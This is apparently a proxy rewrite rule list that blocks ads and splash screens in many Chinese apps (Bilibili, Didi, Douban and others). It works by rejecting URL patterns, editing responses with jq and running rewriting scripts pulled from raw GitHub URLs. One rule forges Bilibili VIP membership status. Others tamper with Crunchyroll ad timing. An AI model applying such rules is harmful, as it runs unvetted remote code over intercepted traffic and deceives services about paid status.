+^https:\/\/api\.live\.bilibili\.com\/xlive\/(?:app-interface\/v2\/index\/feed|app-room\/v1\/index\/getInfoBy(?:Room|User))\? url jsonjq-response-body '.data |= (del(.play_together_info, .play_together_info_v2, .activity_banner_info) | if .function_card then .function_card[] = null end | if .new_tab_info.outer_list then .new_tab_info.outer_list |= map(select(.biz_id != 33)) end | if .card_list then .card_list |= map(select(.card_type | IN("banner_v2", "activity_card_v1") | not)) end | reduce ([["show_reserve_status"], false], [["reserve_info", "show_reserve_status"], false], [["shopping_info", "is_show"], 0]) as [$path, $value] (.; if getpath($path) then setpath($path; $value) end))' + +#^https:\/\/app\.bilibili\.com\/x\/resource\/show\/skin\? response-body-json-del data.common_equip +#^https:\/\/app\.bilibili\.com\/x\/resource\/show\/tab\/v2\? url jsonjq-response-body jq-path="https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/jq/bilibili.tab.jq" +^https:\/\/app\.bilibili\.com\/x\/v2\/splash\/(?:list|show|event\/list2)\? url jsonjq-response-body '.data |= with_entries(if .key | IN("show", "event_list") then .value = [] else . end)' +^https:\/\/app\.bilibili\.com\/x\/v2\/feed\/index\? url jsonjq-response-body 'if .data.items then .data.items |= map(select((.banner_item == null) and (.ad_info == null) and (.card_goto == "av") and (.card_type | IN("small_cover_v2", "large_cover_single_v9", "large_cover_v1")))) end' +^https:\/\/app\.bilibili\.com\/x\/v2\/feed\/index\/story\? url jsonjq-response-body 'if .data.items then .data.items |= map(select((.ad_info == null) and (.card_goto | startswith("ad") | not)) | del(.story_cart_icon, .free_flow_toast)) end' +#^https:\/\/app\.bilibili\.com\/x\/v2\/account\/mine(?:\/ipad)?\? url jsonjq-response-body jq-path="https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/jq/bilibili.mine.jq" +^https:\/\/app\.bilibili\.com\/x\/v2\/account\/myinfo\? url jsonjq-response-body '.data.vip |= if . != null and .status == 0 then . + { status: 1, type: 2, due_date: 9005270400000, role: 15 } else . end' + +^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.app\.playerunite\.v1\.Player\/PlayViewUnite$ url script-request-body https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/dist/bilibili.airborne.js +^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.community\.service\.dm\.v1\.DM\/DmSegMobile$ url script-request-body https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/dist/bilibili.airborne.js +^https:\/\/(?:grpc\.biliapi\.net|app\.bilibili\.com)\/bilibili\.(?:app\.(?:show\.v1\.Popular\/Index|dynamic\.v2\.Dynamic\/DynAll|view(?:unite)?\.v1\.View\/(?:View|ViewProgress|RelatesFeed)|playurl\.v1\.PlayURL\/PlayView|playerunite\.v1\.Player\/PlayViewUnite)|polymer\.app\.search\.v1\.Search\/SearchAll|community\.service\.dm\.v1\.DM\/DmView|main\.community\.reply\.v1\.Reply\/MainList|pgc\.gateway\.player\.v2\.PlayURL\/PlayView)$ url script-response-body https://raw.githubusercontent.com/kokoryh/Sparkle/refs/heads/master/dist/bilibili.protobuf.js + +# > 哔哩哔哩漫画 +# hostname = manga.bilibili.com, i*.hdslb.com +^https?:\/\/i\d\.hdslb\.com\/bfs\/fawkes url reject-dict +^https?:\/\/i\d\.hdslb\.com\/bfs\/manga-static\/\w+\.(jpg|png)$ url reject-200 +^https?:\/\/manga\.bilibili\.com\/twirp\/comic\.v\d\.Comic\/(Recommend|Flash|ListFlash|GetBubbles|GetActivityTab|GetCommonBanner|GetComicConfigPicList) url reject-200 +^https?:\/\/manga\.bilibili\.com\/twirp\/comic\.v\d\.Shop\/GetShopItems url reject-dict +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.SeasonV\d\/GetSeasonInfo url reject-dict +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.Read\/ActInfo url reject-200 +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.User\/UCenterConf url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/bilibiliManga.js +^https?:\/\/manga\.bilibili\.com\/twirp\/user\.v\d\.User\/GetInitInfo url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/bilibiliManga.js + +# > 北京首汽 +# hostname = gateway.shouqiev.com +^https?:\/\/gateway\.shouqiev\.com\/fsda\/app\/bootImage\.json url reject + +# > 贝壳找房 +# hostname = apps.api.ke.com +^https?:\/\/apps\.api\.ke\.com\/config\/config\/(bootpage|getactivityconfig) url reject + +# > 贝太厨房 +# hostname = channel.beitaichufang.com +^https?:\/\/channel\.beitaichufang\.com\/channel\/api\/v\d\/promote\/ios\/start\/page url reject + +# > 菠萝包轻小说 +# hostname = api.sfacg.com +^https?:\/\/api\.sfacg\.com\/ioscfg url reject + +# > 比特球云盘 +# hostname = pan-api.bitqiu.com +^https?:\/\/pan-api\.bitqiu\.com\/activity\/getPromoteGuide url reject + +# > 比亚迪王朝APP +# hostname = cache.bydauto.com.cn +# 首页开屏 +^https:\/\/cache\.bydauto\.com\.cn\/dilink_user_upload\/20 url reject-200 + +# > 币世界 +# hostname = iapi.bishijie.com +^https?:\/\/iapi\.bishijie\.com\/actopen\/advertising\/ url reject + +# > 币安 +# hostname = www.binance.info, www.yingwangtech.net, www.binance.com +# 开屏广告 +^https?:\/\/www\.(binance|yingwangtech)\.(com|info|net)\/bapi\/composite\/v1\/public\/market\/holiday-atmosphere url reject-dict + +# > 乐刻 +# hostname = lens.leoao.com +# 开屏广告 +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.front\.AppAdvertisingFrontService\/getAppAdvertisingNew url reject-dict +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.bff\.ClientFrontFacade\/queryHomeMiddleInfo url reject-dict +^https?:\/\/lens\.leoao\.com\/lens\/conduct\/app\/rpc\/v2\/com\.lefit\.dubbo\.cms\.api\.front\.AdvertiseConfigFrontService\/getAdvertiseConfigNew url reject-dict + +# > 必胜客 +# hostname = res.pizzahut.com.cn +^https?:\/\/res\.pizzahut\.com\.cn\/CRM\/phad\/member\/app\/member url reject-200 +^https?:\/\/res\.pizzahut\.com\.cn\/CRM\/phad\/apphome\/apphome url reject + +# > 百视TV +# hostname = bp-api.bestv.com.cn, bp-image.bestv.com.cn +# 开屏广告 【Runestoner】分享 +^https?:\/\/bp-api\.bestv\.com\.cn\/cms\/api\/free\/open\/advertisingV2 url reject +#(倒计时还在) +^https?:\/\/bp-image\.bestv\.com\.cn\/[a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{25}\.jpg url reject-200 + +# > 波点音乐 +# hostname = bd-api.kuwo.cn, h5app.kuwo.cn, bodianimgcdn.kuwo.cn +# 开屏广告 感谢【林夕】分享 +^https?:\/\/bd-api\.kuwo\.cn\/api\/service\/finds\/module\?moduleId url reject-dict +^https?:\/\/bd-api\.kuwo\.cn\/api\/service\/banner\/myPage\?uid url reject-dict +^https?:\/\/bd-api\.kuwo\.cn\/api\/play\/listening\/entrance\/music\?musicId url reject-dict +^https?:\/\/h5app\.kuwo\.cn\/m\/kwtemplatePage\/index\.html\?id=1157&app=bodianhdzx url reject-dict +^https?:\/\/h5app\.kuwo\.cn\/m\/bdvipact2205\/index\.html\?fromsrc=huodong url reject-dict +^https?:\/\/bodianimgcdn\.kuwo\.cn\/images\/0e83c1821cd2681de08e20bec73d1e75 url reject-dict +^https?:\/\/bodianimgcdn\.kuwo\.cn\/images\/198c0b313fe9e53b03240c7b30b4acc9 url reject-dict + +# > 薄荷健康 +# hostname = api.boohee.com, bohe.sfo-tx-shanghai-01.saas.sensorsdata.cn, lego.boohee.com, status.boohee.com +# 感谢【可莉】分享 +# 记录 - 大家都在看data.recom_cards / 底部按钮data.recom_btns +^https:\/\/api\.boohee\.com\/meta-interface\/v2\/index\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js +# 记录 - 悬浮部件 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/page_float_bubbles\? url reject-dict +# 记录 - 发布 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/tool_buttons\? url reject-dict +# 记录 - 搜索发现 +^https:\/\/api\.boohee\.com\/app-interface\/v1\/search\/search\? url reject-dict +# 记录 - 消息 - 通知 - 横幅推广 +^https:\/\/status\.boohee\.com\/api\/v1\/merged_messages$ url reject-dict +# 弹窗配置 +^https:\/\/bohe\.sfo-tx-shanghai-01\.saas\.sensorsdata\.cn\/api\/v2\/sfo\/user_popup_configs\? url reject-dict +# 广场 - 推荐 - 红标data.tabs[1].badge /轮播图data.recommend_ads +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/plaza\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js +# 代谢中心 - 顶部轮播图top_banner / 免费问诊推广diagnos_config / 合作医疗机构partner_hospital / 医患问答question_answer / 热门商品product / 品牌大事件brand_story +^https:\/\/api\.boohee\.com\/open-interface\/v1\/string\/market_page\?title=metabolism_config$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/bohe/bohe_ads.js +# 绑定设备 - 横幅推广 +^https:\/\/api\.boohee\.com\/meta-interface\/v1\/index\/sensor-banners\? url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ C ✅ <<<<<<<<<<<<<< +# > clicli +# hostname = js-ad.ayximgs.com +^https?:\/\/js-ad\.ayximgs\.com\.ad-universe-cdn\.hzhcbkj\.cn\/xgapp\.php\/v2\/top_notice url reject + +# > csdn +# hostname = app-gw.csdn.net, gw.csdn.net +# 感谢【Jörgen Frecht】分享 +^https?:\/\/app-gw\.csdn\.net\/silkroad-api\/api\/v\d\/assemble\/list\/pub\/channel\/app_open_screen_ad url reject +^https?:\/\/app-gw\.csdn\.net\/abtesting\/v2\/getList? url reject +^https?:\/\/gw\.csdn\.net\/cms-app\/v\d+\/home_page\/open_advertisement url reject + +# > crunchyroll +# hostname = beta-api.crunchyroll.com +^https?:\/\/beta-api\.crunchyroll\.com\/cms url response-body offset_ms":\d+ response-body offset_ms":99999999999999 + +# > 彩云天气 +# hostname = wrapper.cyapi.cn, api.caiyunapp.com +^https?:\/\/wrapper\.cyapi\.cn\/v1\/activity\? url echo-response application/json echo-response https://raw.githubusercontent.com/Keywos/rule/main/mocks/caiyun.json +^https?:\/\/api\.caiyunapp\.com\/v1\/activity url reject-dict + +# > 菜鸟裹裹 +# hostname = cn-acs.m.cainiao.com, amdc.m.taobao.com +# 其他 +^https?:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch$ url script-response-header https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/header.js +# 首页 好物推荐,商品推广,底部标签页,快递详情页,问卷调查,主页图标 +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.adkeyword\.get\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.cncommunity\.my\.station\.query\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.(batch\.show\.v2|index)\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.guoguo\.nbnetflow\.ads\.m?show\.cn url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbopen\.miniapp\.recommend\.cpc\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbmensa\.research\.researchservice\.(acquire|event|close)\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbpresentation\.(homepage\.merge|tabbar\.marketing)\.get\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.cainiao\.nbpresentation\.(pickup\.empty\.page|protocol\.homepage)\.get\.cn url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js +# 消息中心 +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.nbfriend\.message\.conversation\.list\.cn url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cainiao/cainiao.js +# 发现页 数字角标 裹裹券 +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.cnactivitycenter url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.cncreditmarket\.hit\.getactivityhit\.cn url reject-dict +^https?:\/\/cn-acs\.m\.cainiao\.com\/gw\/mtop\.com\.cainiao\.longquan\.place\.getpageresourcecontent\.cn url reject-dict + +# > 超星学习通 +# hostname = learn.chaoxing.com +^https?:\/\/learn\.chaoxing\.com\/apis\/service\/appConfig\? url reject + +# > 长城炼金术 +# hostname = fintechappdr.cgws.com +# 感谢【Joe Joy】分享 +^https?:\/\/fintechappdr\.cgws\.com\/api\/business-operation\/app\/a\/flash\/window\/get\?type=2 url reject-dict + +# > 曹操专车 +# hostname = ptmpcap.caocaokeji.cn, cap.caocaokeji.cn +^https?:\/\/ptmpcap\.caocaokeji\.cn\/advert-bss\/ url reject-img +^https?:\/\/cap\.caocaokeji\.cn\/advert-bss\/ url reject + +# > 车来了 +# hostname = pic1.chelaile.net.cn, api.chelaile.net.cn, atrace.chelaile.net.cn, web.chelaile.net.cn, cdn.*.chelaileapp.cn +^https?:\/\/pic1\.chelaile\.net\.cn\/adv\/ url reject +^https?:\/\/(api|atrace)\.chelaile\.net\.cn\/adpub\/ url reject +^https?:\/\/api\.chelaile\.net\.cn\/goocity\/advert\/ url reject +^https?:\/\/atrace\.chelaile\.net\.cn\/adpub\/ url reject-img +^https?:\/\/atrace\.chelaile\.net\.cn\/exhibit\?&adv_image url reject-img +^https?:\/\/web\.chelaile\.net\.cn\/api\/adpub\/ad url reject +^https?:\/\/cdn\.\w{3}\.chelaileapp\.cn\/(api\/)?adpub url reject + +# > 超级课程表 +# hostname = 182.92.244.70, ad.myfriday.cn +# 开屏广告 由【jinlvei】分享 +^https?:\/\/182\.92\.244\.70\/d\/json url reject-dict +http:\/\/ad\.myfriday\.cn\/d\/json\/1\.1 url reject + +# > 潮玩宇宙 +# hostname = ios-api.lucklyworld.com +# 开屏广告 +^https?:\/\/ios-api\.lucklyworld\.com\/v6\/api\/config\/startup url reject-dict + +# > 财新 +# hostname = gg.caixin.com +^https?:\/\/gg\.caixin\.com\/s\?z=caixin&op=1&c=3362 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/caixin/caixinAd.js + +# > 财联社 +# hostname = api3.cls.cn +^https?:\/\/api3\.cls\.cn\/v1\/boot\/ad url reject + +# > 财经杂志 +# hostname = api.caijingmobile.com +^https?:\/\/api\.caijingmobile\.com\/(ad|advert)\/ url reject + +# > 刺猬猫阅读 +# hostname = app.hbooker.com +^https?:\/\/app\.hbooker\.com\/setting\/get_startpage_url_list url reject + +# > 创客贴设计 +# hostname = gw.chuangkit.com +^https:\/\/gw\.chuangkit\.com\/team\/app\/common\/ad\/ url reject-dict + +# > Clubmed微信小程序 +# hostname = clubmed.bd.clubmedmnp.com +^https?:\/\/clubmed\.bd\.clubmedmnp\.com\/miniorder\/api\/basic\/common url reject-dict + + +# >>>>>>>>>>>>>>> ✅ D ✅ <<<<<<<<<<<<<< +# > DJI Store (大疆商城) +# hostname = se-api.djiits.com +# 去开屏广告 +^https:\/\/se-api\.djiits\.com\/api\/components\/launch_ad\.json\?abbrv_url=1&country=cn&language=zh-CN url reject-dict + +# > 大麦 +# hostname = acs.m.taobao.com, amdc.m.taobao.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.damai\.wireless\.home\.welcome url reject-200 +^https?:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch\?appkey=23782110 url reject + +# > 大师兄 +# hostname = sdk.alibaba.com.ailbaba.me, adservice.sigmob.cn +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/version url reject-200 +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/advert\?position=[^2]+ url reject-200 +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/xgapp\.php\/v\d\/top_notice\? url reject-200 +^https?:\/\/sdk\.alibaba\.com\.ailbaba\.me\/(dsx|xgapp)\.php\/v\d\/(top_notice\?|version|advert\?position=[^2]+) url reject-200 +^https?:\/\/adservice\.sigmob\.cn\/extconfig url response-body false response-body true + +# > 大智慧 +# hostname = ssp.dzh.com.cn +^https?://ssp\.dzh\.com\.cn/v2api/adgroupjson url reject + +# > 大众点评 +# hostname = img.meituan.net +# 开屏广告 +^https?:\/\/img\.meituan\.net\/dpmobile\/ url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/dianping.js +#^https?:\/\/img\.meituan\.net\/dpmobile\/.+93241\.png url reject-dict +#^https?:\/\/img\.meituan\.net\/dpmobile\/.*.(gif|jpg) url reject-200 + +# > 达达骑士版 +# hostname = delivery-api.imdada.cn +# 开屏广告,弹窗广告,首页置顶轮播广告 感谢【T大G】分享 +^https?:\/\/delivery-api\.imdada\.cn\/v2_0\/dada\/promote\/imax\?privacyParam url reject-dict +^https?:\/\/delivery-api\.imdada\.cn\/v1_0\/transporter\/screen\/ads_list url reject-dict +^https?:\/\/delivery-api\.imdada\.cn\/v1_0\/transporter\/ad url reject-dict + +# > 动卡空间 +# hostname = ump.sz.creditcard.ecitic.com, m.creditcard.ecitic.com +# 开屏广告 +^https?:\/\/ump\.sz\.creditcard\.ecitic\.com\/citiccard\/cm-ump\/ump-gateway\/ump-net-app\/ump-net-app\/adv url reject-dict +^https?:\/\/m\.creditcard\.ecitic\.com\/citiccard\/mbk\/appspace-getway\/getWay\/dkkj-system-web\/system\/v\d\/init-config url reject-200 + +# > 到梦空间 +# hostname = appdmkj.5idream.net +# 开屏广告 感谢【企鹅】分享 +^https?:\/\/appdmkj\.5idream\.net\/appPic\/homepage url reject-dict +# 更新弹窗 感谢【企鹅】分享 +^https?:\/\/appdmkj\.5idream\.net\/v2\/login\/message\/tip url reject-dict +# 我的页面广告 +^https?:\/\/appdmkj\.5idream\.net\/v3\/user\/advertising\/list url reject-dict + +# > 低端影视 +# hostname = img.ddrk.me, ddrk.me +^https?:\/\/img\.ddrk\.me\/ad190824 url reject-img +^https?:\/\/img\.ddrk\.me\/cover\.png url reject-img +^https?:\/\/ddrk\.me\/image\/logo_footer\.png url reject-img +^https?:\/\/ddrk\.me\/wp-content\/plugins\/advanced-floating-content-lite\/public\/images\/close\.png url reject-img + +# > 豆瓣 +# hostname = api.douban.com +# 如开启可自行添加主机名 img*.douban.com, frodo.douban.com, erebor.douban.com +^https?:\/\/api\.douban\.com\/v\d\/app_ads\/ url reject-dict +^https?:\/\/api\.douban\.com\/b.*\/common_ads\?.* url reject-dict +^https?:\/\/img\d\.doubanio\.com\/view\/dale-online\/dale_ad\/ url reject +^https?:\/\/frodo\.douban\.com\/api\/v2\/movie\/banner url reject +^https?:\/\/erebor\.douban\.com\/count\/\?ad= url reject + +# > 斗鱼直播 +# hostname = daoyu.sdo.com, rtbapi.douyucdn.cn, staticlive.douyucdn.cn, capi.douyucdn.cn, douyucdn.cn +^https?:\/\/daoyu\.sdo\.com\/api\/userCommon\/getAppStartAd url reject +^https?:\/\/rtbapi\.douyucdn\.cn\/japi\/sign\/app\/getinfo url reject-dict +^https?:\/\/staticlive\.douyucdn\.cn\/upload\/signs\/ url reject +^https?:\/\/staticlive\.douyucdn\.cn\/.+\/getStartSend url reject +^https?:\/\/staticlive\.douyucdn\.cn\/.+?\/getStartSend url reject-img +^https?:\/\/capi\.douyucdn\.cn\/lapi\/sign\/app(api)?\/getinfo\?client_sys=ios url reject +^https?:\/\/capi\.douyucdn\.cn\/api\/ios_app\/check_update url reject-img +^https?:\/\/capi\.douyucdn\.cn\/api\/v1\/getStartSend?client_sys=ios url reject-img +^https?:\/\/douyucdn\.cn\/.+\/appapi\/getinfo url reject +^https?:\/\/douyucdn\.cn\/.+?\/appapi\/getinfo url reject-img + +# > 当当阅读 +# hostname = e.dangdang.com, api.dangdang.com, mapi.dangdang.com +^https?:\/\/e\.dangdang\.com\/media\/api.+\?action=getDeviceStartPage url reject +^https?:\/\/e\.dangdang\.com\/.+?getDeviceStartPage url reject +^https?:\/\/api\.dangdang\.com\/mapi\d\/mobile\/init url reject +^https?:\/\/mapi\.dangdang\.com\/index\.php\?action=init url reject + +# > 叮咚买菜 +# hostname = maicai.api.ddxq.mobi, gw.api.ddxq.mobi, user.api.ddxq.mobi +# 开屏广告 +^https?:\/\/maicai\.api\.ddxq\.mobi\/advert\/ url reject +# 首页弹窗 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/getHomeAdPop url reject +# VIP开通弹窗 +^https?:\/\/maicai\.api\.ddxq\.mobi\/vip\/getVipAd url reject-dict +# 首页悬浮窗 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/newDetails url response-body suspension response-body random_body +# 首页推荐流优化,AI栏去除,右下角浮标 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/(?>bottomNavi|homeFlowDetail) url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js +# 右下角AI +^https?:\/\/maicai\.api\.ddxq\.mobi\/tool\/getConfig url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js +# 我的页VIP栏净化 +^https?:\/\/gw\.api\.ddxq\.mobi\/vip-app-service\/vip\/my\/page\/advertising url reject +# 我的页弹窗(暂未启用) +^https:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/queryMyPagePopup url reject-dict +# 我的页-猜你喜欢 +^https?:\/\/maicai\.api\.ddxq\.mobi\/homeApi\/userLike url reject-dict +# 我的页净化 +^https?:\/\/user\.api\.ddxq\.mobi\/userportal-service\/api\/v\d\/user\/queryMyPage url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ddxq.js +# 购物车顶部VIP横条 +^https?:\/\/maicai\.api\.ddxq\.mobi\/cart\/vipGuide url reject-dict +# 购物车-猜你喜欢 +^https?:\/\/maicai\.api\.ddxq\.mobi\/order\/getRecommend url reject-dict + +# > 叮嗒出行 +# hostname = img.admobile.top, webcdn.m.qq.com +^https?:\/\/img\.admobile\.top\/admobile-adRequest\/.*.(jpg|png) url reject-200 +^https?:\/\/webcdn\.m\.qq\.com\/qiantu\/upload\/202[0-9]{5}\/.*.(jpg|png) url reject-200 + +# > 东方财富 +# hostname = emdcadvertise.eastmoney.com +^https?:\/\/emdcadvertise\.eastmoney\.com\/infoService\/v\d url reject + +# > 东方航空 +# hostname = app.ceair.com +^https?:\/\/app\.ceair\.com\/customize\/security\/update url reject-200 +^https?:\/\/app\.ceair\.com\/customize\/main\/adScreen url reject-dict + +# > 懂球帝 +# hostname = ap.dongqiudi.com +^https?:\/\/ap\.dongqiudi\.com\/plat\/v url reject + +# > 丁香医生 +# hostname = dxy.com +^https?:\/\/dxy\.com\/app\/i\/ask\/biz\/feed\/launch url reject + +# > 丁香园 +# hostname = dq.dxy.cn +^https?:\/\/dq\.dxy\.cn\/api\.php\?action=getpostbanners url reject + +# > 钉钉 +# hostname = gw.alicdn.com, img.alicdn.com +# 误杀少 解决阿里系的开屏 目前测试咸鱼/钉钉 感谢【zzzzzz】分享 +^https?:\/\/(gw|img)\.alicdn\.com\/imgextra\/.+\/[\w!]+\d+-\d+-.+-\b([8-9]\d{2,}|[1-9]\d{3,})\b-\b([5-9]\d{2,}|[1-9]\d{3,})\b url reject-dict + +# > 动画疯 +# hostname = api.gamer.com.tw +^https?:\/\/api\.gamer\.com\.tw\/mobile_app\/anime\/v\d\/anime_get_question\.php url reject-dict +# (黑屏25秒) +^https?:\/\/api\.gamer\.com\.tw\/mobile_app\/anime\/v\d/(token|m3u8).php\? url script-response-body https://raw.githubusercontent.com/NobyDa/Script/master/Bahamut/BahamutAnimeAds.js + +# > 滴滴出行 +# hostname = res.xiaojukeji.com, common.diditaxi.com.cn, hd.xiaojukeji.com, freight.xiaojukeji.com, daijia.kuaidadi.com, ct.xiaojukeji.com, conf.diditaxi.com.cn +^https?:\/\/hd\.xiaojukeji\.com\/d url reject-dict +^https?:\/\/ct\.xiaojukeji\.com\/agent\/v3\/feeds url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/freight\.xiaojukeji\.com\/gateway url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/xpget url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/mget url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/conf\.diditaxi\.com\.cn\/homepage\/v\d\/other\/fast url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +#^https?:\/\/conf\.diditaxi\.com\.cn\/homepage\/v\d\/core url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/conf\.diditaxi\.com\.cn\/dynamic\/conf url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/common\.diditaxi\.com\.cn\/common\/v\d\/usercenter\/me url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/daijia\.kuaidadi\.com\/gateway url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +^https?:\/\/daijia\.kuaidadi\.com:443\/gateway url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js +# 微信小程序个人中心净化 感谢【TEXAS】分享 +^https?:\/\/common\.diditaxi\.com\.cn\/common\/v5 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/didi/didiAds.js + +# > 滴滴青桔 +# hostname = pt-starimg.didistatic.com, omgup*.xiaojukeji.com +^https?:\/\/pt-starimg\.didistatic\.com\/static\/starimg\/node\/.*.(jpg|png|gif) url reject-200 +^https?:\/\/omgup[0-9]{1}\.xiaojukeji\.com\/api url reject-200 + +# > 滴滴代驾小程序 +# hostname = daijia.kuaidadi.com, as.xiaojukeji.com +# 横幅广告 +^https?:\/\/as\.xiaojukeji\.com\/ep\/as\/conf\?ns=daijia-front&name= url reject-dict +^https?:\/\/daijia\.kuaidadi\.com\/gateway\?api=prado\.cms\.delivery\.batch&apiVe url reject-dict + +# > 嘀嗒出行 +# hostname = capis*.didapinche.com, adx-cn.anythinktech.com, www.didapinche.com +# 小程序净化 +^https?:\/\/capis(-\d)?\.didapinche\.com\/adbase url reject +^https?:\/\/capis(-\d)?\.didapinche\.com\/ad\/ url reject +^https?:\/\/adx-cn\.anythinktech\.com\/bid url reject-dict +^https?:\/\/capis(-?\w*)?\.didapinche\.com\/publish\/api\/upgrade url reject-dict +^https?:\/\/www\.didapinche\.com\/app\/adstat\/ url reject-200 + +# > 得物 +# hostname = app.dewu.com, cdn.poizon.com +# 开屏广告 【Runestoner】分享 +^https?:\/\/app\.dewu\.com\/api\/v1\/app\/advertisement url reject +^https?:\/\/cdn\.poizon\.com\/node-common\/.*.jpg url reject-200 + +# > 电E宝 +# hostname = app.95598pay.com +^https?:\/\/app\.95598pay\.com\/debapi\/adsite\/ url reject-200 + +# > 电视家 +# hostname = api.gaoqingdianshi.com, cdn.dianshihome.com +^https?:\/\/api\.gaoqingdianshi\.com\/api\/v\d\/ad\/ url reject +^https?:\/\/cdn\.dianshihome\.com\/static\/ad\/ url reject + +# > 盯盯拍 +# hostname = *.pglstatp-toutiao.com, api.htp.ad-scope.com.cn, appgw.ddpai.com, init.sms.mob.com, apphw.ddpai.com +^https?:\/\/.*\.pglstatp-toutiao\.com\/.*ad.* url reject +^https?:\/\/api\.htp\.ad-scope\.com\.cn.* url reject +^https?:\/\/appgw\.ddpai\.com.*\/ad\/list.* url reject +^https?:\/\/init\.sms\.mob\.com\/.*sdk\/init.* url reject +^https?:\/\/apphw\.ddpai\.com:\d+\/onroad\/api\/v\d\/\w+\/list url reject-dict + +# > 电影猎手 +# hostname = app-v1.ecoliving168.com +^https:\/\/app-v1\.ecoliving168\.com\/api\/v1\/movie\/index_recommend\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/dianyinglieshou.js + + + +# >>>>>>>>>>>>>>> ✅ E ✅ <<<<<<<<<<<<<< +# > e代驾 +# hostname = pic.edaijia.cn +^https?:\/\/pic\.edaijia\.cn\/adsplash\/ url reject-200 + +# > e充电 +# hostname = cdn-evone-ceph.echargenet.com +^https?:\/\/cdn-evone-ceph\.echargenet\.com\/gw-emas-cdn\/63c4e3b558bb610008969f89 url reject-200 + +# > 饿了么 +# hostname = elemecdn.com, fuss10.elemecdn.com, cube.elemecdn.com, www1.elecfans.com, 